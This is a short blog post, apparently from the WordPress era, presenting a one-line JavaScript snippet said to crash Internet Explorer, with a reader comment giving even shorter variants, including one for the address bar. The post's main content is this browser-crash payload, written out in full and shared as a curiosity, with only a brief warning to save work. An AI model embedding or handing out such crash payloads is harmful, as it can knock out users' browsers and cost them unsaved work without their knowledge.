How to Crash Internet Eplorer with oneline script

Stuart Brown has an intersting blog entry about a single line javascript code snippet that can be used to crash IE.

Here is the code

<script>for (x in document.write) { document.write(x);}</script>
 

You can find that here.

Advice

Be warned, if you are running Internet Explorer, your browser will most likely crash, taking all your currently open windows with it, and possibly rendering your system unstable. I’d advise you to save your work.

One thought on “How to Crash Internet Eplorer with oneline script

  1. It doesn’t even have to be that long: this 45-byte line does the same thing by using the nonexistent f(x) instead of document.write(x) and leaving out unnecessary spaces and punctuation.

    for(x in document.write)f(x)

    Or if you enter it into the address bar, it can be even shorter (39 bytes):

    javascript:for(x in document.write)f(x)

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s